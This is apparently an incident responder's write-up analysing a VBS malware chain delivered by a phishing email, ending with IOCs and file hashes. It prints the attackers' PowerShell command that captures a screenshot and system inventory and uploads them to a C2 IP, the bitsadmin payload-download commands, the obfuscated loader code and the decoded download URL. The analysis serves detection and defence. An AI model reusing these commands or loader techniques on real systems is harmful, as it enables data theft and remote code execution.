The Phish

A user was sent a phishing email with a link. The user proceeded to click on the link and download a ZIP containing an initial VBS. They continued to open the ZIP and invoke the VBS.

Neither the intial or secondary VBS were detected by the EDR. It wasn’t until nearly a week later when the secondary VBS invoked bitsadmin that the EDR triggered an event.

To: {username}@{company}.com
Subject: Services for {name of business}
From: Denae Gonzales <DenaeGonzales@ooo-usadba.ru>
X-Mailer: PHP/5.6.40
Date: Mon, 24 May 2021 19:52:26 +0300

Dear {full name},

We provided services for {name of business}.
You can find and download your invoice by clicking on this link:
hxxp://ooo-usadba.ru/admin/infodata.php?r=bD1odHRwOi8vclvbGljYW5jaGVyaW5pLmNvbSici9mbGl0Y2gucGhwJnY3PNRdEZYdzFMUWc5Q1JUZ1JUUmxBVlFsREVrMUFRQVlERGc9PQ==
We are ready to help you if you have any issues or concerns.

Thanks.
Denae Gonzales
Ooo-usadba LTD
PA Department
1-501-586-####

Initial VBS

The downloaded ZIP was named {username}-0853102.zip. Inside that was datacustomer6j2124455.vbs. When the user clicked on the VBS, it was invoked with WScript.exe. The script proceeded to reinvoke itself with four arguments.

wscript.exe {path}\datacustomer6J2124455.vbs DeployingLibrary ConsumptionTheyll AlphabetManipulated ArePull

It again reinvoked itself, this time with cscript and only one argument.

cscript.exe {path}\datacustomer6J2124455.vbs DeployingLibrary

Now the script began its work. First was to collect information about the victim workstation using standard commands.

cmd /q /k exit | tasklist /v /fo csv & tasklist /svc /fo csv & systeminfo /fo csv & exit
systeminfo /fo csv

Then it used a Powershell script to collect a screenshot along with other intel, serialize that in a JSON and send it to a C2.

powershell -c $x = [Console]::In.ReadToEnd(); if ((Get-Command 'ConvertTo-Json' -ErrorAction SilentlyContinue) -eq $null) {function identifyingIndicates($s) {$s -replace '\\', '\\' -replace '\n', '\n' -replace '\u0008', '\b' -replace '\u000C', '\f' -replace '\r', '\r' -replace '\t', '\t' -replace '"', '\"';};function ConvertTo-Json($md = 4, $fa = $false) {begin{ $data = @() };process{ $data += $_ };end{if ($data.length -eq 1 -and $fa -eq $false) { $value = $data[0] } else { $value = $data };if ($value -eq $null) { return 'null' }; $dataType = $value.GetType().Name;switch -regex ($dataType) { 'String' { return '"{0}"' -f (identifyingIndicates $value) };'(System\.)?DateTime' { return '"{0:yyyy-MM-dd}T{0:HH:mm:ss}"' -f $value };'Int32|Double' {return "$value"};'Boolean' {return "$value".ToLower()};'(System\.)?Object\[\]' { if ($md -le 0) { return '"{0}"' -f (identifyingIndicates "$value") };$jr = '';foreach($elem in $value){if ($jr.Length -gt 0) {$jr += ', '};$jr += ($elem | ConvertTo-Json -md ($md - 1));} return '[' + $jr + ']';}'(System\.)?Hashtable' { $jr = '';foreach($key in $value.Keys){if ($jr.Length -gt 0) {$jr +=', '};$jr += '"{0}": {1}' -f $key , ($value[$key] | ConvertTo-Json -md ($md - 1) );};return '{' + $jr + '}'; } default { if ($md -le 0) { return '"{0}"' -f (identifyingIndicates $value) };return '{' + (($value | Get-Member -MemberType *property | % { '"{0}": {1}' -f $_.Name , ($value.($_.Name) | ConvertTo-Json -md ($md - 1) )}) -join ', ') + '}';}}}};};Add-Type -Assembly System.Windows.Forms;$screen = [Windows.Forms.SystemInformation]::VirtualScreen;$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height;$graphics = [Drawing.Graphics]::FromImage($bitmap);$graphics.CopyFromScreen($screen.Location, [Drawing.Point]::Empty, $screen.Size);$graphics.Dispose();$stream = New-Object System.IO.MemoryStream;$quality=30;$encoderParams = New-Object System.Drawing.Imaging.EncoderParameters;$encoderParams.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, $quality);$jpeg = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.FormatDescription -eq 'JPEG' };$bitmap.save($stream, $jpeg, $encoderParams);$bitmap.Dispose();$bytes = [convert]::ToBase64String($stream.ToArray());$bytes = [string]::Join('', $bytes[$bytes.Length..0]);$info = $x;$info = [string]::Join('', $info[$info.Length..0]);$pl = $(wmic product get 'name,version' /format:csv ; ls $env:ProgramFiles | Select-Object Name,Size,LastWriteTime | ConvertTo-Csv ) | ConvertTo-Json;$pl = [string]::Join('', $pl[$pl.Length..0]);$client = New-Object System.Net.WebClient;$client.Credentials = [System.Net.CredentialCache]::DefaultCredentials;$client.Headers.Add('Content-Type', 'application/json');$client.Encoding = [System.Text.Encoding]::UTF8;$body = @{ 'id'=1621867288; 'image'=$bytes; 'data'=$info; 'pl'=$pl } | ConvertTo-Json;$client.UploadString('http://23.227.202.140/paid/', $body);;

Next it used bitsadmin to download a file from the same C2.

cmd /k exit | exit & bitsadmin /create ConvertedResulting & exit
cmd /k exit | exit & bitsadmin /addfile ConvertedResulting http://23.227.202.140/token/update/DeployingLibrary1621867288 C:\Users\{username}\AppData\Local\Temp\WorkflowsServices.tmp & exit
cmd /k exit | exit & bitsadmin /resume ConvertedResulting & exit
cmd /k exit | exit & bitsadmin /complete ConvertedResulting & exit
cmd /k exit | exit & bitsadmin /reset & exit

It then moved the downloaded file to its final destination.

c:\users\{username}\appdata\local\deployinglibrary\deployinglibrary.vbs

Finally for persistence it created a Scheduled Task to run deployinglibrary.vbs named Update Task DeployingLibrary.

Second VBS

DeployingLibrary.vbs was obfuscated as expected. Here’s a bit of what it looked like.

Dim securePercent
officialGeolocation = "productiveHcx"
Dim officialGeolocation
officialGeolocation = "renegotiableIndebtedness"
Dim dietCustomerbank
Dim intermediateFlock
intermediateFlock = "outputsNqd"
Dim bitsDevote
bitsDevote = 1
...
Set medalsQep("silentMeat") = medalsQep("breezeOnly")
causeBurden = "datasetsHop"
medalsQep("servicesBases") = scriptDjy(13,0,40)
suiteExempted

The first item of interest is this.

Function voyageFine()
    inviteKnee = "7hwVGaKSji7gB0 MTATZ2ikcm61vDRDsl1t6VL0rWSH.eeNKrnjt2PgiLQenlsUVzXFD4B"
    inviteKnee = inviteKnee + "SpZTliioOIzn1r)VptdRiaFlRfRqd0)thiaPFMtCGDkzPm7CvntZecepE9qTAX1rvg5vtvGeRQy"
    inviteKnee = inviteKnee + "K641Lz.lHesleODtieQ1KRDkQlnllFtw1As sPi29eiAS t4paG"
    inviteKnee = inviteKnee + "*gicd_Dmd9y4tnSx nbtYewda8tIEL7mdiaiNcoae3iEWuKgnrwomndsR9r5""Xc0Rtin"
    inviteKnee = inviteKnee + "aante3oFsQwb SnaetiicPiPsSAL+tmrrsWbaSrVen/r ngytnwelxpZcewu3empSIonpT/Go"
    inviteKnee = inviteKnee + "weY2mtutnhieE jr:nw9nstxwSLrebvP7/i1o:reardKmxF_2kn(r\aTp"
    inviteKnee = inviteKnee + "eaAaOp2Cnmti\tsSde2NeM32ignv.SAelRAhlcn4lmIn\snlotptbmiD/t(ErseiFe0"
    inviteKnee = inviteKnee + "aiYWDosrdoepFtsoPgr 5c:tnocOteeetifM-.\SatoexGrtilWODk\Cp\rlee/e"
    inviteKnee = inviteKnee + "ueBR7c.SxcPiTn lQkrF0e\cEi_Fni e nB Ahrrtm2teLwDtaxe-coixv3xpeQeebjm4sopt2ne"
    inviteKnee = inviteKnee + "Ot3tS Za3stt.""iTdi6alrkN8e\iepWeerqeleh BrcncmettWzrufc,-dignemaasYCNsyD8dm.eTa"
    inviteKnee = inviteKnee + "eet8AenoIAavFd\NrrnGZxaHs4.2ii%rCCejperYs2r:lsAeeemGr.t8e-e"
    inviteKnee = inviteKnee + "WeeTdmtuXJl/ac9kiSRAlaagpal Ro8onydDoNDr2oanmr4r3snPFlsA5mcrzP2"
    inviteKnee = inviteKnee + "b2tuPtltyxEPuB 4/_eoAnusrEdwtjTB/PmrLeFiexfMebC8:rOaArtxuKLtrcE8sob"
    inviteKnee = inviteKnee + "pCapEQ7eIwLLApcjaOPiecRtIayEFteerLtrleGiHr8SBtscw%ecixVr /m""8hs"
    inviteKnee = inviteKnee + "t\""GSFEMW"" 5"
    voyageFine = inviteKnee
End Function

Clearly something encoded or encrypted.

Next there’s frequent calls to a function called scriptDjy().

$ grep script DeployingLibrary.vbs
medalsQep("servicesBases") = scriptDjy(10,0,26)
medalsQep("servicesBases") = scriptDjy(13,0,40)
medalsQep("aggregateJhk") = scriptDjy(9,24,24)
medalsQep("mortgagesIncreasingly") = Array(scriptDjy(8,0,21))
medalsQep("aggregateJhk") = scriptDjy(6,0,14)
medalsQep("aggregateJhk") = scriptDjy(4,9,9)
...

Here’s scriptDjy() with some formatting.

Function scriptDjy(vocalWithdrawn, enactedWhc, declineRecords)
    complianceLeisure = StrReverse(bankeligibleEquity + voyageFine)
    If Len(complianceLeisure) > unpredictable3 Then
        fantasyOrange = 16 * enactedWhc + vocalWithdrawn + unpredictable3
        If unpredictable3 = 0 Then
            unpredictable3 = Len(complianceLeisure)
        End If
    Else
        fantasyOrange = unpredictable3
    End If
    For againstGentle = 0 To declineRecords - 1
        scriptDjy = scriptDjy + Mid(complianceLeisure, fantasyOrange + againstGentle * (unpredictable3 - bitsDevote) * 16, bitsDevote)
    Next
End Function

The first line of the function is to StrReverse() that encoded string returned by voyageFine(). So, this has got to be some kind of decoding function.

Using a cloned Windows 10 running in VirtualBox with no networking, we can copy/paste bits of the code for some dynamic analysis.

Start copying only enough functions and variables to get scriptDjy() to work. Copy that function along with voyageFine().

Looking at scriptDjy() line by line, ensure that any variables it needs are declared.

For example the first line refers to something called bankeligibleEquity.

complianceLeisure = StrReverse(bankeligibleEquity + voyageFine)

Looking earlier in the script we see it.

Dim bankeligibleEquity
bankeligibleEquity = ""

In this case it’s just an empty string. We can probably ignore it.

The next line refers to unpredictable3.

If Len(complianceLeisure) > unpredictable3 Then

Looking at that we see its more complex.

unpredictable3 = againClean(CInt(bitsDevote & "000"), medalsQep)

We’ll need to copy this and the againClean() function and the bitsDevote variable.

Continue doing that until you run out of needed references.

Lastly add a little code so we can output results and we end up with this as a decoding script.

Set fso = CreateObject ("Scripting.FileSystemObject")
Set stdout = WScript.StdOut 'fso.GetStandardStream (1)

Dim bitsDevote
bitsDevote = 1

Dim petCargo
Set petCargo = CreateObject("Scripting.Dictionary")

unpredictable3 = againClean(CInt(bitsDevote & "000"), medalsQep)

'medalsQep("servicesBases") = scriptDjy(10,0,26)

stdout.WriteLine "scriptDjy(10,0,26)=" + scriptDjy(10,0,26)

Function againClean(opposedYxs, hedgingLonely)
legally7 = 0
leisureToddler = Now
youthPurchases = "reservesMex"
On Error Resume Next
Set hedgingLonely = CreateObject(scriptDjy(7,39,20))
If Err.Number <> 0 Then
Set hedgingLonely = petCargo
Err.Clear
End If
medalsQep("glueFub") = Year(leisureToddler)
againClean = debateOnline + Round(medalsQep("glueFub") / opposedYxs)
End Function

Function voyageFine()
inviteKnee = "7hwVGaKSji7gB0 MTATZ2ikcm61vDRDsl1t6VL0rWSH.eeNKrnjt2PgiLQenlsUVzXFD4B"
inviteKnee = inviteKnee + "SpZTliioOIzn1r)VptdRiaFlRfRqd0)thiaPFMtCGDkzPm7CvntZecepE9qTAX1rvg5vtvGeRQy"
inviteKnee = inviteKnee + "K641Lz.lHesleODtieQ1KRDkQlnllFtw1As sPi29eiAS t4paG"
inviteKnee = inviteKnee + "*gicd_Dmd9y4tnSx nbtYewda8tIEL7mdiaiNcoae3iEWuKgnrwomndsR9r5""Xc0Rtin"
inviteKnee = inviteKnee + "aante3oFsQwb SnaetiicPiPsSAL+tmrrsWbaSrVen/r ngytnwelxpZcewu3empSIonpT/Go"
inviteKnee = inviteKnee + "weY2mtutnhieE jr:nw9nstxwSLrebvP7/i1o:reardKmxF_2kn(r\aTp"
inviteKnee = inviteKnee + "eaAaOp2Cnmti\tsSde2NeM32ignv.SAelRAhlcn4lmIn\snlotptbmiD/t(ErseiFe0"
inviteKnee = inviteKnee + "aiYWDosrdoepFtsoPgr 5c:tnocOteeetifM-.\SatoexGrtilWODk\Cp\rlee/e"
inviteKnee = inviteKnee + "ueBR7c.SxcPiTn lQkrF0e\cEi_Fni e nB Ahrrtm2teLwDtaxe-coixv3xpeQeebjm4sopt2ne"
inviteKnee = inviteKnee + "Ot3tS Za3stt.""iTdi6alrkN8e\iepWeerqeleh BrcncmettWzrufc,-dignemaasYCNsyD8dm.eTa"
inviteKnee = inviteKnee + "eet8AenoIAavFd\NrrnGZxaHs4.2ii%rCCejperYs2r:lsAeeemGr.t8e-e"
inviteKnee = inviteKnee + "WeeTdmtuXJl/ac9kiSRAlaagpal Ro8onydDoNDr2oanmr4r3snPFlsA5mcrzP2"
inviteKnee = inviteKnee + "b2tuPtltyxEPuB 4/_eoAnusrEdwtjTB/PmrLeFiexfMebC8:rOaArtxuKLtrcE8sob"
inviteKnee = inviteKnee + "pCapEQ7eIwLLApcjaOPiecRtIayEFteerLtrleGiHr8SBtscw%ecixVr /m""8hs"
inviteKnee = inviteKnee + "t\""GSFEMW"" 5"
voyageFine = inviteKnee
End Function

Function scriptDjy(vocalWithdrawn, enactedWhc, declineRecords)
complianceLeisure = StrReverse(bankeligibleEquity + voyageFine)
If Len(complianceLeisure) > unpredictable3 Then
fantasyOrange = 16 * enactedWhc + vocalWithdrawn + unpredictable3
If unpredictable3 = 0 Then
unpredictable3 = Len(complianceLeisure)
End If
Else
fantasyOrange = unpredictable3
End If
For againstGentle = 0 To declineRecords - 1
scriptDjy = scriptDjy + Mid(complianceLeisure, fantasyOrange + againstGentle * (unpredictable3 - bitsDevote) * 16, bitsDevote)
Next
End Function

When run, our decoding script prints the decoded string.

PS C:\temp> cscript .\decode.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

scriptDjy(10,0,26)=tcejbOmetsySeliF.gnitpircS

This first call to scriptDjy() returns a reversed Scripting.FileSystemObject.

Now we can add all the versions of scriptDjy() to it and find out what each returns.

Decoded strings

Here are all the decoded strings in the order that they are referred to in the script. Only some of them are reversed in addition to the encoding.

scriptDjy(10,0,26)=tcejbOmetsySeliF.gnitpircS
scriptDjy(13,0,40)=8BFA88B42489-24A8-B834-A07D-5DD42C27:wen
scriptDjy(9,24,24)=ExpandEnvironmentStrings
scriptDjy(8,0,21)="%LOCALAPPDATA%\Temp"
scriptDjy(6,0,14)=ScriptFullName
scriptDjy(4,9,9)=Arguments
scriptDjy(7,0,19)=GetParentFolderName
scriptDjy(4,27,9)=GetFolder
scriptDjy(5,10,11)=DateCreated
scriptDjy(8,21,23)=2vmic\toor\.\\:stmgmniw
scriptDjy(7,19,20)=Win32_ProcessStartup
scriptDjy(5,33,14)=SpawnInstance_
scriptDjy(11,0,37)=ssecorP_23niW:2vmic\toor\.\\:stmgmniw
scriptDjy(4,36,10)=ShowWindow
scriptDjy(2,17,6)=Create
scriptDjy(3,40,9)=bitsadmin
scriptDjy(3,24,8)=  /reset
scriptDjy(1,17,4)=Null
scriptDjy(1,47,5)=Sleep
scriptDjy(4,0,9)=ExecQuery
scriptDjy(14,0,43)="SELECT ProcessID, Name FROM Win32_Process"
scriptDjy(3,40,9)=bitsadmin
scriptDjy(2,17,6)=Create
scriptDjy(3,40,9)=bitsadmin
scriptDjy(0,0,59)= /rawreturn /transfer bankeligibleOxb /priority FOREGROUND 
scriptDjy(12,0,40)=https://broker.addresscheck.co/link/new/
scriptDjy(1,1,1)= 
scriptDjy(9,0,24)=\wraparoundResidence.txt
scriptDjy(1,47,5)=Sleep
scriptDjy(5,0,10)=FileExists
scriptDjy(9,0,24)=\wraparoundResidence.txt
scriptDjy(2,50,7)=GetFile
scriptDjy(1,42,5)=39389
scriptDjy(1,33,4)=Name
scriptDjy(3,49,9)=svcMain.v
scriptDjy(10,26,28)=CStr(Int(1923 + Rnd * 1117))
scriptDjy(1,13,4)=.exe
scriptDjy(1,29,4)=Path
scriptDjy(2,17,6)=Create
scriptDjy(6,28,16)=OpenAsTextStream
scriptDjy(3,32,8)=ReadLine
scriptDjy(2,43,7)=ReadAll
scriptDjy(1,52,5)=Close
scriptDjy(2,23,6)=Delete
scriptDjy(2,36,7)=replace
scriptDjy(6,14,14)=CreateTextFile
scriptDjy(2,0,5)=Write
scriptDjy(1,52,5)=Close
scriptDjy(1,9,4)=call
scriptDjy(1,25,4)=Quit
scriptDjy(1,47,5)=Sleep
scriptDjy(1,21,4)=Set 
scriptDjy(7,39,20)=yranoitciD.gnitpircS

What does it do

Basically, it turns out that this second VBS will try to download from hxxps://broker.addresscheck.co/link/new/alphabetTog{epochtime} to %LOCALAPPDATA%\Temp/wraparoundResidence.txt.

If the downloaded file size is greater than 39389, it will rename it to svcMain.v####.exe where #### is a random number between 1923 and 3040. It then executes the EXE.

If the downloaded file size is less than 39389, it reads the file and looks for one of two commands on the first line. Either ‘replace’ or ‘call’. If replace, then replace itself with the downloaded file. If call, then Execute it as VBS.

IOCs

  • ooo-usadba.ru
  • 12fabaabded8fa09ce9a781f1630a4a47662da461bea690b46752ba8829ba32c {username}-0853102.zip
  • 1aaa6368a8e5f74c470a8b932e0f6377a752ef52f64b38afa5a30564a52cc5ab datacustomer6J2124455.vbs
  • 8bcd7b55aedae9851b12c98228344807ba8df431fd2a3a5090a20662c5c95385 DeployingLibrary.vbs

Samples